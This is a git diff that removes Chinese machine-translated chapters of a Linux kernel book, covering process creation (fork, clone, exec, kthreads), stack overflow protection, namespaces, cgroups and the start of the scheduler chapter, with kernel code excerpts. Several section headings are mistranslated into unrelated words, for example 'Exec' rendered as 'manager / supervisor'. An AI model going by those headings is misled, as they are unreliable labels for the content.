随着`thread_info`尺寸的缩小,内核开发人员正在考虑通过将`thread_info`移到`task structure`来完全摆脱`thread_info`。 由于这涉及到对低级体系结构代码的更改,因此它只针对 x86-64 体系结构实现,其他体系结构也计划效仿。 下面的代码片段仅显示了具有一个元素的`thread_info`结构的当前状态: - -```sh -/* linux-4.9.10/arch/x86/include/asm/thread_info.h */ -struct thread_info { - unsigned long flags; /* low level flags */ -}; -``` - -# 堆栈溢出问题 - -与用户模式不同,内核模式堆栈位于直接映射的内存中。 当进程调用可能在内部嵌套很深的内核服务时,它可能会溢出到立即内存范围内。 最糟糕的是内核不会注意到这种情况。 内核程序员通常使用各种调试选项来跟踪堆栈使用情况并检测溢出,但这些方法对于防止生产系统上的堆栈破坏并不方便。 这里也排除了通过使用*保护页*进行的常规保护(因为它浪费了实际的存储器页)。 - -内核程序员倾向于遵循编码标准--最大限度地减少本地数据的使用,避免递归,以及避免在其他方面进行深度嵌套--以降低堆栈崩溃的可能性。 然而,功能丰富且分层较深的内核子系统的实现可能会带来各种设计挑战和复杂性,特别是对于存储子系统,其中文件系统、存储驱动程序和网络代码可以堆叠在多个层中,从而导致深度嵌套的函数调用。 - -Linux 内核社区已经考虑了很长时间来防止这样的漏洞,为此,决定将内核堆栈扩展到 16KB(从 3.15 内核开始,扩展到 x86-64)。 内核堆栈的扩展可能会防止某些漏洞,但代价是将大量直接映射的内核内存用于每个进程的内核堆栈。 然而,为了系统的可靠运行,当堆栈破坏出现在生产系统上时,内核应该优雅地处理它们。 - -在 4.9 版中,内核配备了一个新系统来设置虚拟映射的内核堆栈。 由于当前使用虚拟地址来映射甚至是直接映射的页面,因此内核堆栈实际上并不需要物理上连续的页面。 内核为虚拟映射内存保留一个单独的地址范围,在调用`vmalloc()`时分配该范围内的地址。 此内存范围称为**vmalloc 范围**。 首先,当程序需要巨大的内存块(这些内存块实际上是连续的,但物理上是分散的)时,就会使用这个范围。 使用这一点,内核堆栈现在可以作为单独的页面分配,并映射到 vmalloc 范围。 虚拟映射还可以防止溢出,因为可以为不可访问保护页分配页表条目(而不会浪费实际的页)。 保护页会提示内核在内存溢出时弹出一条 OOPS 消息,并启动针对溢出进程的终止。 - -带有保护页的虚拟映射内核堆栈目前仅适用于 x86-64 体系结构(似乎还会支持其他体系结构)。 这可以通过选择`HAVE_ARCH_VMAP_STACK`或`CONFIG_VMAP_STACK`构建时选项来启用。 - -# 流程创建 - -在内核引导期间,会产生一个名为`init is`的内核线程,该线程又被配置为初始化第一个用户模式进程(同名)。 然后将`init`(PID 1)进程配置为执行通过配置文件指定的各种初始化操作,从而创建多个进程。 进一步创建的每个子进程(可以依次创建自己的子进程)都是*init*进程的后代。 这样创建的流程最终以树状结构或单个层次模型结束。 `shell`是这样一个进程,当程序被调用执行时,它成为用户创建用户进程的界面。 - -Fork、vfork、exec、clone、wait 和 exit 是创建和控制新进程的核心内核接口。 这些操作通过相应的用户模式 API 调用。 - -# Fork() - -`Fork()`是自传统 Unix 版本开始以来在*NIX 系统中提供的核心“Unix 线程 API”之一。 它的名字很贴切,它从正在运行的进程派生出一个新进程。 当`fork()`成功时,通过复制调用方的`address space`和`task structure`来创建新进程(称为`child`)。 从`fork()`返回时,调用方(父进程)和新进程(子进程)都将继续执行同一代码段中的指令,该代码段在写入时复制。 `Fork()`可能是唯一在调用方进程上下文中进入内核模式的 API,如果成功,则会在调用方和子(新进程)上下文中返回到用户模式。 - -父级`task structure`的大多数资源条目(如内存描述符、文件描述符表、信号描述符和调度属性)都由子级继承,只有少数属性(如内存锁、挂起信号、活动计时器和文件记录锁)除外(有关异常的完整列表,请参阅 fork(2)手册页)。 子进程被分配一个唯一的`pid`,并将通过其`task structure`*的`ppid`字段引用其父进程的`pid`;*子进程的资源利用率和处理器使用率条目被重置为零。 - -父进程使用`wait()`系统调用更新子进程的状态,并通常等待子进程终止。 如果未调用`wait()`*、*,则孩子可能会终止并被推入僵尸状态。 - -# 写入时拷贝(COW) - -复制父进程以创建子进程需要克隆子进程的父进程的用户模式地址空间(`stack`、`data`、`code`和`heap`段)和任务结构;这将导致不确定的进程创建时间的执行开销。 更糟糕的是,如果父代和子代都没有在克隆资源上启动任何状态更改操作,则此克隆过程将变得毫无用处。 - -根据 COW,当创建子对象时,会为其分配一个唯一的`task structure`,所有资源条目(包括页表)都引用父对象的`task structure`,父对象和子对象都具有只读访问权限。 当两个进程中的任何一个进程启动状态更改操作时,资源实际上是重复的,因此名称为*写入时复制*(COW 中的`write`表示状态更改)。 COW 确实带来了效率和优化,因为它将复制进程数据的需要推迟到写入,并且在只进行读取的情况下,它完全避免了这一点。 这种按需复制还可以减少所需的交换分页数量,减少交换所花费的时间,并可能有助于减少请求分页。 - -# 经理 / 主管人员 - -有时创建子进程可能没有什么用处,除非它完全运行一个新程序:`exec`系列调用正是为了这个目的。 `exec`用新的可执行二进制文件替换进程中的现有程序: - -```sh -#include -int execve(const char *filename, char *const argv[], -char *const envp[]); -``` - -`execve`是执行程序二进制文件的系统调用,作为第一个参数传递给它。 第二个和第三个参数是以 NULL 结尾的参数和环境字符串数组,将作为命令行参数传递给新程序。 此系统调用还可以通过各种`glibc`(库)包装器调用,它们被发现更方便、更灵活: - -```sh -#include -extern char **environ; -int execl(const char *path, const char *arg, ...); -int execlp(const char *file, const char *arg, ...); -int execle(const char *path, const char *arg, -..., char * const envp[]); -int execv(const char *path, char *constargv[]); -int execvp(const char *file, char *constargv[]); -int execvpe(const char *file, char *const argv[], -char *const envp[]); -``` - -命令行用户界面程序(如`shell`)使用`exec`界面启动用户请求的程序二进制文件。 - -# Vfork() - -与`fork()`不同,`vfork()`创建子进程并阻止父进程,这意味着子进程作为单个线程运行,不允许并发;换句话说,父进程暂时挂起,直到子进程退出或调用`exec()`。 子代共享父代的数据。 - -# Linux 对线程的支持 - -进程中的执行流被称为**线程**,这意味着每个进程至少有一个执行线程。 多线程意味着流程中存在多个执行上下文流。 使用现代多核体系结构,流程中的多个执行流可以真正并发,从而实现公平的多任务处理。 - -线程通常被枚举为进程中计划执行的纯用户级实体;它们共享父进程的虚拟地址空间和系统资源。 每个线程维护其代码、堆栈和线程本地存储。 线程由线程库调度和管理,线程库使用称为线程对象的结构来保存唯一的线程标识符,用于调度属性和保存线程上下文。 用户级线程应用通常内存较少,并且是事件驱动应用的首选并发模型。 另一方面,这种用户级线程模型不适合并行计算,因为它们绑定到其父进程绑定到的同一处理器核心上。 - -Linux 不直接支持用户级线程;相反,它提出了一个替代 API 来枚举称为**l****轻量级进程**(**LWP**)的特殊进程,该进程可以与父进程共享一组已配置的资源,如动态内存分配、全局数据、打开文件、信号处理程序和其他大量资源。 每个 LWP 由唯一的 PID 和任务结构标识,内核将其视为独立的执行上下文。 在 Linux 中,术语线程总是指 LWP,因为由线程库(`Pthreads`)初始化的每个线程都被内核枚举为 LWP。 - -# 克隆() - -`clone()`是用于创建新进程的特定于 Linux 的系统调用;它被视为`fork()`系统调用的通用版本,通过`flags`参数提供更精细的控件来自定义其功能: - -```sh -int clone(int (*child_func)(void *), void *child_stack, int flags, void *arg); -``` - -它提供了二十多个不同的`CLONE_*`标志来控制`clone`操作的各个方面,包括父进程和子进程是否共享资源,如虚拟内存、打开的文件描述符和信号处理。 使用适当的内存地址(作为第二个参数传递)创建子对象,将其用作`stack`(用于存储子对象的本地数据)。 子进程使用其 start 函数(作为第一个参数传递给克隆调用)开始执行。 - -当进程尝试通过`pthread`库创建线程时,将使用以下标志调用`clone()`: - -```sh -/*clone flags for creating threads*/ -flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID; -``` - -![](img/00011.jpeg) - -`clone()`还可用于创建通常使用`fork()`和`vfork()`派生的常规子进程: - -```sh -/* clone flags for forking child */ -flags = SIGCHLD; -/* clone flags for vfork child */ -flags = CLONE_VFORK | CLONE_VM | SIGCHLD; -``` - -# 内核线程 - -为了满足运行后台操作的需要,内核会派生线程(类似于进程)。 这些内核线程类似于常规进程,因为它们由任务结构表示并分配了 PID。 与用户进程不同,它们没有映射任何地址空间,并且以内核模式独占运行,这使得它们不能交互。 各种内核子系统使用`kthreads`来运行周期性和异步操作。 - -所有内核线程都是`kthreadd (pid 2)`的后代,`kthreadd (pid 2)`是由`kernel (pid 0)`在引导期间产生的。 `kthreadd`枚举其他内核线程;它提供接口例程,内核服务可以通过这些例程在运行时动态生成其他内核线程。 可以使用`ps -ef`命令从命令行查看内核线程--它们显示在[方括号]中: - -```sh -UID PID PPID C STIME TTY TIME CMD -root 1 0 0 22:43 ? 00:00:01 /sbin/init splash -root 2 0 0 22:43 ? 00:00:00 [kthreadd] -root 3 2 0 22:43 ? 00:00:00 [ksoftirqd/0] -root 4 2 0 22:43 ? 00:00:00 [kworker/0:0] -root 5 2 0 22:43 ? 00:00:00 [kworker/0:0H] -root 7 2 0 22:43 ? 00:00:01 [rcu_sched] -root 8 2 0 22:43 ? 00:00:00 [rcu_bh] -root 9 2 0 22:43 ? 00:00:00 [migration/0] -root 10 2 0 22:43 ? 00:00:00 [watchdog/0] -root 11 2 0 22:43 ? 00:00:00 [watchdog/1] -root 12 2 0 22:43 ? 00:00:00 [migration/1] -root 13 2 0 22:43 ? 00:00:00 [ksoftirqd/1] -root 15 2 0 22:43 ? 00:00:00 [kworker/1:0H] -root 16 2 0 22:43 ? 00:00:00 [watchdog/2] -root 17 2 0 22:43 ? 00:00:00 [migration/2] -root 18 2 0 22:43 ? 00:00:00 [ksoftirqd/2] -root 20 2 0 22:43 ? 00:00:00 [kworker/2:0H] -root 21 2 0 22:43 ? 00:00:00 [watchdog/3] -root 22 2 0 22:43 ? 00:00:00 [migration/3] -root 23 2 0 22:43 ? 00:00:00 [ksoftirqd/3] -root 25 2 0 22:43 ? 00:00:00 [kworker/3:0H] -root 26 2 0 22:43 ? 00:00:00 [kdevtmpfs] -/*kthreadd creation code (init/main.c) */ -static noinline void __ref rest_init(void) -{ - int pid; - - rcu_scheduler_starting(); - /* - * We need to spawn init first so that it obtains pid 1, however - * the init task will end up wanting to create kthreads, which, if - * we schedule it before we create kthreadd, will OOPS. - */ - kernel_thread(kernel_init, NULL, CLONE_FS); - numa_default_policy(); - pid = kernel_thread(kthreadd, NULL, CLONE_FS | CLONE_FILES); - rcu_read_lock(); - kthreadd_task = find_task_by_pid_ns(pid, &init_pid_ns); - rcu_read_unlock(); - complete(&kthreadd_done); - - /* - * The boot idle thread must execute schedule() - * at least once to get things moving: - */ - init_idle_bootup_task(current); - schedule_preempt_disabled(); - /* Call into cpu_idle with preempt disabled */ - cpu_startup_entry(CPUHP_ONLINE); -} -``` - -前面的代码显示内核引导例程`rest_init()`使用适当的参数调用`kernel_thread()`例程,以同时派生`kernel_init`线程(然后该线程启动用户模式`init`进程)和`kthreadd`。 - -`kthread`是一个永久运行的线程,它在名为`kthread_create_list`的列表中查找要创建的新`kthreads`上的数据: - -```sh -/*kthreadd routine(kthread.c) */ -int kthreadd(void *unused) -{ - struct task_struct *tsk = current; - - /* Setup a clean context for our children to inherit. */ - set_task_comm(tsk, "kthreadd"); - ignore_signals(tsk); - set_cpus_allowed_ptr(tsk, cpu_all_mask); - set_mems_allowed(node_states[N_MEMORY]); - - current->flags |= PF_NOFREEZE; - - for (;;) { - set_current_state(TASK_INTERRUPTIBLE); - if (list_empty(&kthread_create_list)) - schedule(); - __set_current_state(TASK_RUNNING); - - spin_lock(&kthread_create_lock); - while (!list_empty(&kthread_create_list)) { - struct kthread_create_info *create; - - create = list_entry(kthread_create_list.next, - struct kthread_create_info, list); - list_del_init(&create->list); - spin_unlock(&kthread_create_lock); - - create_kthread(create); /* creates kernel threads with attributes enqueued */ - - spin_lock(&kthread_create_lock); - } - spin_unlock(&kthread_create_lock); - } - - return 0; -} -``` - -内核线程是通过调用`kthread_create`或通过其包装器`kthread_run`来创建的,方法是传递定义`kthreadd`(启动例程、启动例程的 ARG 数据和名称)的适当参数。 下面的代码片段显示了`kthread_create`调用`kthread_create_on_node()`,默认情况下会在当前 NUMA 节点上创建线程: - -```sh -struct task_struct *kthread_create_on_node(int (*threadfn)(void *data), - void *data, - int node, - const char namefmt[], ...); - -/** - * kthread_create - create a kthread on the current node - * @threadfn: the function to run in the thread - * @data: data pointer for @threadfn() - * @namefmt: printf-style format string for the thread name - * @...: arguments for @namefmt. - * - * This macro will create a kthread on the current node, leaving it in - * the stopped state. This is just a helper for - * kthread_create_on_node(); - * see the documentation there for more details. - */ -#define kthread_create(threadfn, data, namefmt, arg...) - kthread_create_on_node(threadfn, data, NUMA_NO_NODE, namefmt, ##arg) - -struct task_struct *kthread_create_on_cpu(int (*threadfn)(void *data), - void *data, - unsigned int cpu, - const char *namefmt); - -/** - * kthread_run - create and wake a thread. - * @threadfn: the function to run until signal_pending(current). - * @data: data ptr for @threadfn. - * @namefmt: printf-style name for the thread. - * - * Description: Convenient wrapper for kthread_create() followed by - * wake_up_process(). Returns the kthread or ERR_PTR(-ENOMEM). - */ -#define kthread_run(threadfn, data, namefmt, ...) -({ - struct task_struct *__k - = kthread_create(threadfn, data, namefmt, ## __VA_ARGS__); - if (!IS_ERR(__k)) - wake_up_process(__k); - __k; -}) -``` - -`kthread_create_on_node()`实例化要创建的`kthread`的细节(作为参数接收)到类型`kthread_create_info`的结构中,并将其排在`kthread_create_list`的尾部。 然后它唤醒`kthreadd`并等待线程创建完成: - -```sh -/* kernel/kthread.c */ -static struct task_struct *__kthread_create_on_node(int (*threadfn)(void *data), - void *data, int node, - const char namefmt[], - va_list args) -{ - DECLARE_COMPLETION_ONSTACK(done); - struct task_struct *task; - struct kthread_create_info *create = kmalloc(sizeof(*create), - GFP_KERNEL); - - if (!create) - return ERR_PTR(-ENOMEM); - create->threadfn = threadfn; - create->data = data; - create->node = node; - create->done = &done; - - spin_lock(&kthread_create_lock); - list_add_tail(&create->list, &kthread_create_list); - spin_unlock(&kthread_create_lock); - - wake_up_process(kthreadd_task); - /* - * Wait for completion in killable state, for I might be chosen by - * the OOM killer while kthreadd is trying to allocate memory for - * new kernel thread. - */ - if (unlikely(wait_for_completion_killable(&done))) { - /* - * If I was SIGKILLed before kthreadd (or new kernel thread) - * calls complete(), leave the cleanup of this structure to - * that thread. - */ - if (xchg(&create->done, NULL)) - return ERR_PTR(-EINTR); - /* - * kthreadd (or new kernel thread) will call complete() - * shortly. - */ - wait_for_completion(&done); // wakeup on completion of thread creation. - } -... -... -... -} - -struct task_struct *kthread_create_on_node(int (*threadfn)(void *data), - void *data, int node, - const char namefmt[], - ...) -{ - struct task_struct *task; - va_list args; - - va_start(args, namefmt); - task = __kthread_create_on_node(threadfn, data, node, namefmt, args); - va_end(args); - - return task; -} -``` - -回想一下,`kthreadd`根据列表中排队的数据调用`create_thread()`例程来启动内核线程。 此例程创建线程并发出完成信号: - -```sh -/* kernel/kthread.c */ -static void create_kthread(struct kthread_create_info *create) -{ - int pid; - - #ifdef CONFIG_NUMA - current->pref_node_fork = create->node; - #endif - - /* We want our own signal handler (we take no signals by default). */ - pid = kernel_thread(kthread, create, CLONE_FS | CLONE_FILES | - SIGCHLD); - if (pid < 0) { - /* If user was SIGKILLed, I release the structure. */ - struct completion *done = xchg(&create->done, NULL); - - if (!done) { - kfree(create); - return; - } - create->result = ERR_PTR(pid); - complete(done); /* signal completion of thread creation */ - } -} -``` - -# Do_fork()和 copy_process() - -到目前为止讨论的所有进程/线程创建调用都会调用不同的系统调用(除了`create_thread`)来步入内核模式。 所有这些系统调用依次会聚到公共内核`function _do_fork()`中,使用不同的`CLONE_*`标志调用该内核。 `do_fork()`内部依靠`copy_process()`来完成任务。 下图总结了流程创建的调用顺序: - -```sh -/* kernel/fork.c */ -/* - * Create a kernel thread. - */ -``` - -```sh -pid_t kernel_thread(int (*fn)(void *), void *arg, unsigned long flags) -{ - return _do_fork(flags|CLONE_VM|CLONE_UNTRACED, (unsigned long)fn, - (unsigned long)arg, NULL, NULL, 0); -} - -/* sys_fork: create a child process by duplicating caller */ -SYSCALL_DEFINE0(fork) -{ -#ifdef CONFIG_MMU - return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0); -#else - /* cannot support in nommu mode */ - return -EINVAL; -#endif -} - -/* sys_vfork: create vfork child process */ -SYSCALL_DEFINE0(vfork) -{ - return _do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, 0, - 0, NULL, NULL, 0); -} - -/* sys_clone: create child process as per clone flags */ - -#ifdef __ARCH_WANT_SYS_CLONE -#ifdef CONFIG_CLONE_BACKWARDS -SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp, - int __user *, parent_tidptr, - unsigned long, tls, - int __user *, child_tidptr) -#elif defined(CONFIG_CLONE_BACKWARDS2) -SYSCALL_DEFINE5(clone, unsigned long, newsp, unsigned long, clone_flags, - int __user *, parent_tidptr, - int __user *, child_tidptr, - unsigned long, tls) -#elif defined(CONFIG_CLONE_BACKWARDS3) -SYSCALL_DEFINE6(clone, unsigned long, clone_flags, unsigned long, newsp, - int, stack_size, - int __user *, parent_tidptr, - int __user *, child_tidptr, - unsigned long, tls) -#else -SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp, - int __user *, parent_tidptr, - int __user *, child_tidptr, - unsigned long, tls) -#endif -{ - return _do_fork(clone_flags, newsp, 0, parent_tidptr, child_tidptr, tls); -} -#endif - -``` - -![](img/00012.jpeg) - -# 进程状态和终止 - -在进程的生命周期中,它在最终终止之前会遍历许多状态。 用户必须具有适当的机制,才能根据进程在其生命周期内发生的所有情况进行更新。 Linux 为此提供了一组函数。 - -# 等待 / 迫不及待 / 推迟 - -对于由父进程创建的进程和线程,父进程知道子进程/线程的执行状态在功能上可能很有用。 这可以使用`wait`系列系统调用来实现: - -```sh -#include -#include -pid_t wait(int *status); -pid_t waitpid(pid_t pid, int *status, intoptions); -int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options) -``` - -这些系统调用用子进程的状态更改事件更新调用进程。 将通知以下状态更改事件: - -* 子女的终止 -* 被一个信号停了下来 -* 由信号恢复 - -除了报告状态之外,这些 API 还允许父进程获取已终止的子进程。 终止时的进程将进入僵尸状态,直到直接父进程调用`wait`来获取它。 - -# 出口 / 通道 / 安全门 / 退场 - -每一个过程都必须结束。 进程终止可以通过进程调用`exit()`来完成,也可以在 Main 函数返回时完成。 进程也可以在接收到强制其终止的信号或异常时突然终止,例如发送信号终止该进程的`KILL`命令,或者在引发异常时突然终止该进程。 在终止时,该进程将进入退出状态,直到直接父进程获取它。 - -`exit`调用`sys_exit`系统调用,后者在内部调用`do_exit`例程。 `do_exit`主要执行以下任务(`do_exit`设置许多值并多次调用相关内核例程以完成其任务): - -* 将子级返回的退出代码带给父级。 -* 设置`PF_EXITING`标志,表示进程正在退出。 -* 清理和回收进程持有的资源。 这包括释放`mm_struct`,如果队列正在等待 IPC 信号量,则从队列中删除,释放文件系统数据和文件(如果有的话),以及在进程不再可执行时调用`schedule()`。 - -在`do_exit`之后,进程保持在僵尸状态,进程描述符仍然完好无损,以便父进程收集状态,之后系统将回收资源。 - -# 命名空间和 cgroup - -登录到 Linux 系统的用户可以透明地查看各种系统实体,如全局资源、进程、内核和用户。 例如,有效用户可以访问系统上所有正在运行的进程的 PID(无论它们属于哪个用户)。 用户可以观察系统上是否存在其他用户,并且可以运行命令来查看全局系统全局资源(如内存、文件系统挂载和设备)的状态。 此类操作不会被视为入侵或安全违规,因为始终可以保证一个用户/进程永远不会侵入其他用户/进程。 - -然而,在一些服务器平台上,这种透明性是不必要的。 例如,考虑云服务提供商提供**PaaS**(**平台即服务**)。 它们提供了一个托管和部署自定义客户端应用的环境。 它们管理运行时、存储、操作系统、中间件和网络服务,让客户管理他们的应用和数据。 PaaS 服务被各种电子商务、金融、在线游戏和其他相关企业使用。 - -为了对客户端进行高效的隔离和资源管理,PaaS 服务提供商使用各种工具。 它们为每个客户端虚拟化系统环境,以实现安全性、可靠性和健壮性。 Linux 内核提供了 cgroup 和命名空间形式的低级机制,用于构建各种可以虚拟化系统环境的轻量级工具。 Docker 就是这样一个构建在 cgroup 和名称空间之上的框架。 - -名称空间基本上是抽象、隔离和限制一组进程在各种系统实体(如进程树、网络接口、用户 ID 和文件系统挂载)上的可见性的机制。 名称空间分为几个组,我们现在将看到这些组。 - -# 装载命名空间 - -传统上,挂载和卸载操作将更改系统中所有进程都能看到的文件系统视图;换句话说,所有进程都能看到一个全局挂载命名空间。 挂载命名空间限制了在进程命名空间内可见的一组文件系统挂载点,使得挂载命名空间中的一个进程组能够与另一个进程相比具有文件系统列表的独占视图。 - -# UTS 命名空间 - -这样可以在 UTS 命名空间中隔离系统的主机和域名。 这使得能够基于各自的命名空间来指导初始化和配置脚本。 - -# IPC 命名空间 - -它们将进程与使用 System V 和 POSIX 消息队列区分开来。 这可以防止一个进程从 IPC 命名空间访问另一个进程的资源。 - -# PID 命名空间 - -传统上,*nix 内核(包括 Linux)在系统引导期间生成 PID 为 1 的`init`进程,该进程进而启动其他用户模式进程,并被视为进程树的根(树中所有其他进程都从该进程开始)。 PID 名称空间允许进程在其下使用自己的根进程(PID 1 进程)衍生出新的进程树。 PID 命名空间隔离进程 ID 号,并允许在不同的 PID 命名空间中重复 PID 号,这意味着不同 PID 命名空间中的进程可以具有相同的进程 ID。PID 命名空间中的进程 ID 是唯一的,并且从 PID 1 开始按顺序分配。 - -在容器(轻量级虚拟化解决方案)中使用 PID 名称空间来将带有进程树的容器迁移到不同的主机系统,而无需对 PID 进行任何更改。 - -# 网络命名空间 - -这种类型的命名空间提供网络协议服务和接口的抽象和虚拟化。 每个网络命名空间都有自己的网络设备实例,可以使用单独的网络地址进行配置。 为其他网络服务启用隔离:路由表、端口号等。 - -# 用户命名空间 - -用户命名空间允许进程在命名空间内外使用唯一的用户和组 ID。 这意味着进程可以在用户名称空间内使用特权用户和组 ID(零),并在名称空间外继续使用非零的用户和组 ID。 - -# Cgroup 命名空间 - -Cgroup 命名空间虚拟化`/proc/self/cgroup`文件的内容。 Cgroup 命名空间内的进程只能查看相对于其命名空间根目录的路径。 - -# 控制组(C 组) - -Cgroup 是限制和测量分配给每个进程组的资源的核心机制。 使用 cgroup,您可以分配 CPU 时间、网络和内存等资源。 - -与 Linux 中的进程模型类似,在 Linux 中,每个进程都是父进程的子进程,并且从`init`进程相对下降,从而形成单树状结构。cgroup 是分层的,其中子 cgroup 继承父进程的属性,但不同之处在于,单个系统中可以存在多个 cgroup 层次结构,每个 cgroup 层次结构都具有不同的资源特权。 - -在名称空间上应用 cgroup 会导致将进程隔离到系统内的`containers`中,其中资源受到不同的管理。 每个*容器*都是一个轻量级虚拟机,所有这些虚拟机都作为单独的实体运行,并且对同一系统中的其他实体视而不见。 - -以下是`namespaces`的 Linux 手册页中描述的命名空间 API: - -```sh -clone(2) -The clone(2) system call creates a new process. If the flags argument of the call specifies one or more of the CLONE_NEW* flags listed below, then new namespaces are created for each flag, and the child process is made a member of those namespaces.(This system call also implements a number of features unrelated to namespaces.) - -setns(2) -The setns(2) system call allows the calling process to join an existing namespace. The namespace to join is specified via a file descriptor that refers to one of the /proc/[pid]/ns files described below. - -unshare(2) -The unshare(2) system call moves the calling process to a new namespace. If the flags argument of the call specifies one or more of the CLONE_NEW* flags listed below, then new namespaces are created for each flag, and the calling process is made a member of those namespaces. (This system call also implements a number of features unrelated to namespaces.) -Namespace Constant Isolates -Cgroup CLONE_NEWCGROUP Cgroup root directory -IPC CLONE_NEWIPC System V IPC, POSIX message queues -Network CLONE_NEWNET Network devices, stacks, ports, etc. -Mount CLONE_NEWNS Mount points -PID CLONE_NEWPID Process IDs -User CLONE_NEWUSER User and group IDs -UTS CLONE_NEWUTS Hostname and NIS domain name -``` - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -我们了解了 Linux 的一个主要抽象,称为进程*、*,以及促进这种抽象的整个生态系统。 现在的挑战仍然是如何通过提供公平的 CPU 时间来运行大量进程。 由于多核系统采用了具有不同策略和优先级的多个进程,因此对确定性调度的需求是最重要的。 - -在我们的下一章中,我们将深入研究进程调度,这是进程管理的另一个关键方面,并理解 Linux 调度器是如何设计来处理这种多样性的。 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/02.md b/docs/master-linux-kernel-dev/02.md deleted file mode 100644 index 719507a2..00000000 --- a/docs/master-linux-kernel-dev/02.md +++ /dev/null @@ -1,617 +0,0 @@ -# 二、拆解进程调度器 - -进程调度是所有操作系统中最关键的执行工作之一,Linux 也不例外。 任何操作系统(如通用操作系统、服务器或实时系统)在调度过程中的启发式和高效性使其正常运转,并赋予其身份。 在本章中,我们将深入了解 Linux 调度器,了解以下概念: - -* Linux 调度器设计 -* 排课课程 -* 调度策略和优先级 -* 完全公平的调度器 -* 实时调度程序 -* 截止日期调度器 -* 团体调度 -* 抢占 - -# 进程调度器 - -任何操作系统的有效性都与其公平调度所有竞争进程的能力成正比。 进程调度器是内核的核心组件,它计算并决定进程获得 CPU 时间的时间和时间。 理想情况下,进程需要*个 CPU 时间片*才能运行,因此调度器基本上需要在进程之间公平地分配处理器时间片。 - -调度程序通常必须: - -* 避免进程饥饿 -* 管理优先级计划 -* 最大化所有进程的吞吐量 -* 确保较短的周转时间 -* 确保均匀的资源使用 -* 避免占用 CPU -* 考虑进程的行为模式以确定优先级 -* 重载下的高雅补贴 -* 高效处理多核调度 - -# Linux 进程调度器设计 - -Linux 最初是为桌面系统开发的,但随着其使用范围从嵌入式设备、大型机和超级计算机扩展到房间大小的服务器,它已经不假思索地演变成了一个多维操作系统。 它还无缝地适应了不断发展的多样化计算平台,如 SMP、虚拟化和实时系统。 这些平台的多样性是由这些系统上运行的进程类型带来的。 例如,高度交互的桌面系统可能运行受 I/O 限制的进程,而实时系统则依靠确定性进程而蓬勃发展。 因此,当需要对其进行合理调度时,每种进程都需要不同类型的启发式方法,因为 CPU 密集型进程可能比正常进程需要更多的 CPU 时间,而实时进程将需要确定性执行。 因此,迎合各种系统的 Linux 面临着在管理这些不同进程时出现的各种调度挑战。 - -![](img/00013.jpeg) - -Linux 进程调度器的内部设计优雅而巧妙地采用了简单的两层模型,第一层是**Generic Scheduler**,定义抽象操作作为调度器的入口函数,第二层是调度类,实现实际的调度操作,其中每个类都致力于处理特定类型进程的调度启发式。 此模型使通用调度器能够保持从每个调度器类的实现细节中抽象出来。 例如,正常进程(I/O 限制)可以由一个类处理,而需要确定性执行的进程(如实时进程)可以由另一个类处理。 此体系结构还支持无缝添加新的调度类。 上图描述了进程调度器的分层设计。 - -通用调度器通过名为`sched_class`的结构定义抽象接口: - -```sh -struct sched_class { - const struct sched_class *next; - - void (*enqueue_task) (struct rq *rq, struct task_struct *p, int flags); - void (*dequeue_task) (struct rq *rq, struct task_struct *p, int flags); - void (*yield_task) (struct rq *rq); - bool (*yield_to_task) (struct rq *rq, struct task_struct *p, bool preempt); - - void (*check_preempt_curr) (struct rq *rq, struct task_struct *p, int flags); - - /* - * It is the responsibility of the pick_next_task() method that will - * return the next task to call put_prev_task() on the @prev task or - * something equivalent. - * - * May return RETRY_TASK when it finds a higher prio class has runnable - * tasks. - */ - struct task_struct * (*pick_next_task) (struct rq *rq, - struct task_struct *prev, - struct rq_flags *rf); - void (*put_prev_task) (struct rq *rq, struct task_struct *p); - -#ifdef CONFIG_SMP - int (*select_task_rq)(struct task_struct *p, int task_cpu, int sd_flag, int flags); - void (*migrate_task_rq)(struct task_struct *p); - - void (*task_woken) (struct rq *this_rq, struct task_struct *task); - - void (*set_cpus_allowed)(struct task_struct *p, - const struct cpumask *newmask); - - void (*rq_online)(struct rq *rq); - void (*rq_offline)(struct rq *rq); -#endif - - void (*set_curr_task) (struct rq *rq); - void (*task_tick) (struct rq *rq, struct task_struct *p, int queued); - void (*task_fork) (struct task_struct *p); - void (*task_dead) (struct task_struct *p); - - /* - * The switched_from() call is allowed to drop rq->lock, therefore we - * cannot assume the switched_from/switched_to pair is serialized by - * rq->lock. They are however serialized by p->pi_lock. - */ - void (*switched_from) (struct rq *this_rq, struct task_struct *task); - void (*switched_to) (struct rq *this_rq, struct task_struct *task); - void (*prio_changed) (struct rq *this_rq, struct task_struct *task, - int oldprio); - - unsigned int (*get_rr_interval) (struct rq *rq, - struct task_struct *task); - - void (*update_curr) (struct rq *rq); - -#define TASK_SET_GROUP 0 -#define TASK_MOVE_GROUP 1 - -#ifdef CONFIG_FAIR_GROUP_SCHED - void (*task_change_group) (struct task_struct *p, int type); -#endif -}; -``` - -每个调度器类都实现`sched_class`结构中定义的操作。 在 4.12.x 内核中,有三个调度类:**完全公平调度**(**CFS**)类、实时调度类和截止日期调度类,每个类处理具有特定调度要求的进程。 以下代码片段显示了每个类如何根据`sched_class`结构填充其操作。 - -**CFS 类****:** - -```sh -const struct sched_class fair_sched_class = { - .next = &idle_sched_class, - .enqueue_task = enqueue_task_fair, - .dequeue_task = dequeue_task_fair, - .yield_task = yield_task_fair, - .yield_to_task = yield_to_task_fair, - - .check_preempt_curr = check_preempt_wakeup, - - .pick_next_task = pick_next_task_fair, - .put_prev_task = put_prev_task_fair, -.... -} -``` - -**实时调度类****:** - -```sh -const struct sched_class rt_sched_class = { - .next = &fair_sched_class, - .enqueue_task = enqueue_task_rt, - .dequeue_task = dequeue_task_rt, - .yield_task = yield_task_rt, - - .check_preempt_curr = check_preempt_curr_rt, - - .pick_next_task = pick_next_task_rt, - .put_prev_task = put_prev_task_rt, -.... -} -``` - -**截止日期安排类****:** - -```sh -const struct sched_class dl_sched_class = { - .next = &rt_sched_class, - .enqueue_task = enqueue_task_dl, - .dequeue_task = dequeue_task_dl, - .yield_task = 